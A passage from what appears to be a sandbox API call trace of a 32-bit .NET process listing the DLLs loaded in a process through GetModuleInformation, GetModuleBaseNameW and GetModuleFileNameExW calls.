(pv=0x66891e8) [0260.475] GetModuleInformation (in: hProcess=0x2c0, hModule=0x758a0000, lpmodinfo=0x254ecfc, cb=0xc | out: lpmodinfo=0x254ecfc*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0260.475] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.475] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x758a0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0260.475] CoTaskMemFree (pv=0x66891e8) [0260.475] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.475] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x758a0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0260.475] CoTaskMemFree (pv=0x66891e8) [0260.475] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75670000, lpmodinfo=0x2550e54, cb=0xc | out: lpmodinfo=0x2550e54*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0260.476] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.476] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75670000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0260.476] CoTaskMemFree (pv=0x66891e8) [0260.476] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.476] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75670000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0260.476] CoTaskMemFree (pv=0x66891e8) [0260.476] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75660000, lpmodinfo=0x2552f60, cb=0xc | out: lpmodinfo=0x2552f60*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0260.476] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.476] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75660000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0260.477] CoTaskMemFree (pv=0x66891e8) [0260.477] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.477] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75660000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0260.477] CoTaskMemFree (pv=0x66891e8) [0260.477] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73620000, lpmodinfo=0x2555074, cb=0xc | out: lpmodinfo=0x2555074*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0260.477] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.477] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73620000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0260.478] CoTaskMemFree (pv=0x66891e8) [0260.478] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.478] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73620000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0260.478] CoTaskMemFree (pv=0x66891e8) [0260.478] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75db0000, lpmodinfo=0x25571bc, cb=0xc | out: lpmodinfo=0x25571bc*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0260.478] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.478] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75db0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0260.479] CoTaskMemFree (pv=0x66891e8) [0260.479] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.479] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75db0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0260.479] CoTaskMemFree (pv=0x66891e8) [0260.479] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75810000, lpmodinfo=0x25592c8, cb=0xc | out: lpmodinfo=0x25592c8*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0260.480] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.480] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75810000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0260.480] CoTaskMemFree (pv=0x66891e8) [0260.480] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.480] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75810000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0260.480] CoTaskMemFree (pv=0x66891e8) [0260.480] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75e10000, lpmodinfo=0x255b3cc, cb=0xc | out: lpmodinfo=0x255b3cc*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0260.481] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.481] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75e10000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0260.482] CoTaskMemFree (pv=0x66891e8) [0260.482] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.482] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75e10000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0260.482] CoTaskMemFree (pv=0x66891e8) [0260.482] GetModuleInformation (in: hProcess=0x2c0, hModule=0x772c0000, lpmodinfo=0x255d4d8, cb=0xc | out: lpmodinfo=0x255d4d8*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0260.482] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.483] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x772c0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0260.483] CoTaskMemFree (pv=0x66891e8) [0260.483] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.483] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x772c0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0260.483] CoTaskMemFree (pv=0x66891e8) [0260.483] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75a30000, lpmodinfo=0x255f5d4, cb=0xc | out: lpmodinfo=0x255f5d4*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0260.484] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.484] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75a30000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0260.484] CoTaskMemFree (pv=0x66891e8) [0260.484] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.484] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75a30000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0260.484] CoTaskMemFree (pv=0x66891e8) [0260.484] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75ae0000, lpmodinfo=0x2561764, cb=0xc | out: lpmodinfo=0x2561764*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0260.485] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.485] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75ae0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0260.485] CoTaskMemFree (pv=0x66891e8) [0260.485] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.485] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75ae0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0260.486] CoTaskMemFree (pv=0x66891e8) [0260.486] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75be0000, lpmodinfo=0x2563868, cb=0xc | out: lpmodinfo=0x2563868*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0260.486] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.486] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75be0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0260.486] CoTaskMemFree (pv=0x66891e8) [0260.486] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.486] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75be0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0260.487] CoTaskMemFree (pv=0x66891e8) [0260.487] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73610000, lpmodinfo=0x256596c, cb=0xc | out: lpmodinfo=0x256596c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0260.487] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.487] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73610000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0260.488] CoTaskMemFree (pv=0x66891e8) [0260.488] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.488] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73610000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0260.488] CoTaskMemFree (pv=0x66891e8) [0260.488] GetModuleInformation (in: hProcess=0x2c0, hModule=0x72f40000, lpmodinfo=0x2567a78, cb=0xc | out: lpmodinfo=0x2567a78*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0260.489] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.489] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x72f40000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0260.489] CoTaskMemFree (pv=0x66891e8) [0260.489] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.489] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x72f40000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0260.489] CoTaskMemFree (pv=0x66891e8) [0260.489] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75540000, lpmodinfo=0x2569ba8, cb=0xc | out: lpmodinfo=0x2569ba8*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0260.490] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.490] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75540000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0260.490] CoTaskMemFree (pv=0x66891e8) [0260.490] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.490] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75540000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0260.491] CoTaskMemFree (pv=0x66891e8) [0260.491] GetModuleInformation (in: hProcess=0x2c0, hModule=0x74310000, lpmodinfo=0x256bcdc, cb=0xc | out: lpmodinfo=0x256bcdc*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0260.491] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.491] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x74310000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0260.492] CoTaskMemFree (pv=0x66891e8) [0260.492] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.492] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x74310000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0260.492] CoTaskMemFree (pv=0x66891e8) [0260.492] GetModuleInformation (in: hProcess=0x2c0, hModule=0x77060000, lpmodinfo=0x256de84, cb=0xc | out: lpmodinfo=0x256de84*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0260.493] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.493] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x77060000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0260.493] CoTaskMemFree (pv=0x66891e8) [0260.493] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.493] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x77060000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0260.494] CoTaskMemFree (pv=0x66891e8) [0260.494] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73e60000, lpmodinfo=0x256ff88, cb=0xc | out: lpmodinfo=0x256ff88*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0260.494] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.494] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73e60000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0260.495] CoTaskMemFree (pv=0x66891e8) [0260.495] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.495] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73e60000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0260.495] CoTaskMemFree (pv=0x66891e8) [0260.495] GetModuleInformation (in: hProcess=0x2c0, hModule=0x72590000, lpmodinfo=0x2572094, cb=0xc | out: lpmodinfo=0x2572094*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0260.495] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.496] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x72590000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0260.496] CoTaskMemFree (pv=0x66891e8) [0260.496] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.496] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x72590000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0260.497] CoTaskMemFree (pv=0x66891e8) [0260.497] GetModuleInformation (in: hProcess=0x2c0, hModule=0x71e70000, lpmodinfo=0x2574230, cb=0xc | out: lpmodinfo=0x2574230*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0260.497] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.497] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x71e70000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0260.498] CoTaskMemFree (pv=0x66891e8) [0260.498] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.498] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x71e70000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0260.498] CoTaskMemFree (pv=0x66891e8) [0260.498] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73c90000, lpmodinfo=0x25763ec, cb=0xc | out: lpmodinfo=0x25763ec*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0260.499] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.499] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73c90000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0260.499] CoTaskMemFree (pv=0x66891e8) [0260.499] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.499] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73c90000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0260.500] CoTaskMemFree (pv=0x66891e8) [0260.500] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73f00000, lpmodinfo=0x25785e0, cb=0xc | out: lpmodinfo=0x25785e0*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0260.501] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.501] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73f00000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0260.501] CoTaskMemFree (pv=0x66891e8) [0260.501] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.501] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73f00000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0260.502] CoTaskMemFree (pv=0x66891e8) [0260.502] GetModuleInformation (in: hProcess=0x2c0, hModule=0x76e30000, lpmodinfo=0x257a720, cb=0xc | out: lpmodinfo=0x257a720*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0260.502] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.502] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x76e30000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0260.503] CoTaskMemFree (pv=0x66891e8) [0260.503] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.503] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x76e30000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0260.503] CoTaskMemFree (pv=0x66891e8) [0260.503] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73b00000, lpmodinfo=0x257c834, cb=0xc | out: lpmodinfo=0x257c834*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0260.504] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.504] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73b00000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0260.504] CoTaskMemFree (pv=0x66891e8) [0260.504] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.504] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73b00000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0260.505] CoTaskMemFree (pv=0x66891e8) [0260.505] GetModuleInformation (in: hProcess=0x2c0, hModule=0x71210000, lpmodinfo=0x257ea00, cb=0xc | out: lpmodinfo=0x257ea00*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0260.506] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.506] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x71210000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0260.506] CoTaskMemFree (pv=0x66891e8) [0260.506] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.506] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x71210000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0260.507] CoTaskMemFree (pv=0x66891e8) [0260.507] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73ee0000, lpmodinfo=0x2580bf0, cb=0xc | out: lpmodinfo=0x2580bf0*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0260.507] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.508] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73ee0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0260.508] CoTaskMemFree (pv=0x66891e8) [0260.508] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.508] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73ee0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0260.509] CoTaskMemFree (pv=0x66891e8) [0260.509] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73ac0000, lpmodinfo=0x2582e08, cb=0xc | out: lpmodinfo=0x2582e08*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0260.509] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.509] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73ac0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0260.510] CoTaskMemFree (pv=0x66891e8) [0260.510] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.510] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73ac0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0260.511] CoTaskMemFree (pv=0x66891e8) [0260.511] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73a30000, lpmodinfo=0x2584f14, cb=0xc | out: lpmodinfo=0x2584f14*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0260.511] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.511] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73a30000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0260.513] CoTaskMemFree (pv=0x66891e8) [0260.513] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.513] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73a30000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0260.514] CoTaskMemFree (pv=0x66891e8) [0260.514] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73a10000, lpmodinfo=0x25870dc, cb=0xc | out: lpmodinfo=0x25870dc*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0260.514] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.514] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73a10000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0260.515] CoTaskMemFree (pv=0x66891e8) [0260.515] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.515] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73a10000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0260.516] CoTaskMemFree (pv=0x66891e8) [0260.516] GetModuleInformation (in: hProcess=0x2c0, hModule=0x73940000, lpmodinfo=0x258922c, cb=0xc | out: lpmodinfo=0x258922c*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0260.516] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.516] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x73940000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0260.517] CoTaskMemFree (pv=0x66891e8) [0260.517] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.517] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x73940000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0260.518] CoTaskMemFree (pv=0x66891e8) [0260.518] GetModuleInformation (in: hProcess=0x2c0, hModule=0x71080000, lpmodinfo=0x258b428, cb=0xc | out: lpmodinfo=0x258b428*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0260.518] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.518] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x71080000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0260.519] CoTaskMemFree (pv=0x66891e8) [0260.519] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.519] GetModuleFileNameExW (in: 